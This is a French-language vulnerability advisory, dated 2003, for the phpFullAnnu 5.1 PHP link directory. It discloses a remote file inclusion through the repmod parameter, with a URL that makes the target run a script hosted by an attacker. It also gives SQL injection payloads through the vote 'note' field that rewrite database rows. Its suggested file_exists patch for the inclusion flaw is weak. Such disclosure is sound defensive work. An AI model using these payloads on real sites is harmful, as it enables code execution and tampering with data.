phpFullAnnu *********** Informations : °°°°°°°°°°°°°° Langage : PHP Version : 5.1 Website : http://www.netsliver.com Problèmes : - Injection SQL - Inclusion de fichiers Developpement : °°°°°°°°°°°°°°° phpFullAnnu est un annuaire de liens type Yahoo! en PHP, permettant de classer les liens dans des rubriques, de les coter, ... On y trouve 2 failles assez importantes. La première, une faille include(), se trouve dans le fichier /modules/home.module.php : ------------------------------------------ ------------------------------------------ La variable $repmod n'est pas définie auparavant dans le script, donc on peut la définir nous-même si register_global est sur ON. En conséquent et si cette condition est remplie, on peut inclure un fichier venant de l'exterieur, et dont la fin de l'adresse serait 'linksdirect.module.php' dans le script /modules/home.module.php. Par exemple pour inclure et faire executer le script http://[attacker]/linksdirect.module.php dans le script http://[target]/modules/home.module.php, il suffira de se rendre à l'url : http://[target]/modules/home.module.php?repmod=http://[attacker]/. La deuxième faille est du type injection SQL, et fonctionne sur TOUTES les configurations PHP. Je dis ça dans le sens que pour une fois (et c'est rare dans l'injection SQL), on a besoin de se préoccuper ni du magic_quotes_gpc, ni du register_global. Mais ça sera plus clair avec le code. Il se trouve dans le fichier /modules/sendvote.module.php : ----------------------------------------------------------------------------------------------------------------------------- request('UPDATE '.$tbprefix.'links SET NbVote = NbVote + 1, TotalVote = TotalVote + '.$_POST['note'].', Note = ROUND(TotalVote/NbVote, 1) WHERE LinkID = '.$_GET['id']); ?> ----------------------------------------------------------------------------------------------------------------------------- L'injection peut se faire à partir de la variable $_POST['note']. On a pas à s'inquièter du register_global car les variables sont définies $_POST ou $_GET. Voyons d'abord la structure de la table links grâce à la requête qui l'a créée : ----------------------------------------------------------------- CREATE TABLE links ( LinkID int(10) NOT NULL auto_increment, CatID int(10) NOT NULL default '0', Url varchar(255) NOT NULL default '', LinkName varchar(255) NOT NULL default '', Description varchar(255) NOT NULL default '', keywords varchar(255) NOT NULL default '', SubmitName varchar(100) NOT NULL default '', SubmitEmail varchar(100) NOT NULL default '', SubmitSociete varchar(100) default NULL, SubmitDate datetime NOT NULL default '0000-00-00 00:00:00', Accepter int(1) NOT NULL default '0', hits int(10) NOT NULL default '0', language varchar(40) NOT NULL default '', TotalVote int(10) NOT NULL default '0', NbVote int(10) NOT NULL default '0', Note float NOT NULL default '0', PRIMARY KEY (LinkID), UNIQUE KEY Url (Url), KEY LinkID (LinkID), KEY CatID (CatID), KEY Url_2 (Url), KEY LinkName (LinkName), KEY Description (Description), KEY keywords (keywords), KEY SubmitName (SubmitName), KEY SubmitEmail (SubmitEmail), KEY SubmitSociete (SubmitSociete), KEY SubmitDate (SubmitDate), KEY TotalVote (TotalVote), KEY NbVote (NbVote), KEY Note (Note) ); ----------------------------------------------------------------- Donc maintenant faisons un exemple d'injection... La variable à utiliser doit être $_POST, et la variable $id, l'id du lien pour lequel on veut voter, doit être $_GET. Pour changer la description du lien n°15, il faudra donc utiliser un formulaire du style : ---------------------------------------------------------------------------

--------------------------------------------------------------------------- Ce qui donnera la requête SQL : --------------------------------------------------------------------------------------------------------------------- UPDATE links SET NbVote = NbVote + 1, TotalVote = TotalVote + 1, Description='New', Note = ROUND(TotalVote/NbVote, 1) WHERE LinkID = 15 --------------------------------------------------------------------------------------------------------------------- Et la description du lien n°15 sera alors 'New'. Si j'ai dit que magic_quotes_gpc n'est pas important non plus, c'est que, vu que $note n'est entourée ni de " ni de ' dans la requête, on peut s'en passer dans l'injection aussi. Par exemple en lui donnant comme valeur : 1, Description=char(97,98,99,100) ce qui changera la description du lien en 'abcd'. Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. - Dans /modules/home.module.php, remplacer la ligne : ------------------------------------------ include($repmod.'linksdirect.module.php'); ------------------------------------------ par les lignes : --------------------------------------------------- if (file_exists($repmod.'linksdirect.module.php')){ include($repmod.'linksdirect.module.php'); } --------------------------------------------------- - Dans /modules/sendvote.module.php, ajouter au début du code les lignes : ------------------------------- $note = intval($_POST['note']); $id = intval($_GET['id']); ------------------------------- Credits : °°°°°°°°° Auteur : frog-m@n E-mail : leseulfrog@hotmail.com Website : http://www.phpsecure.info Date : 27/08/03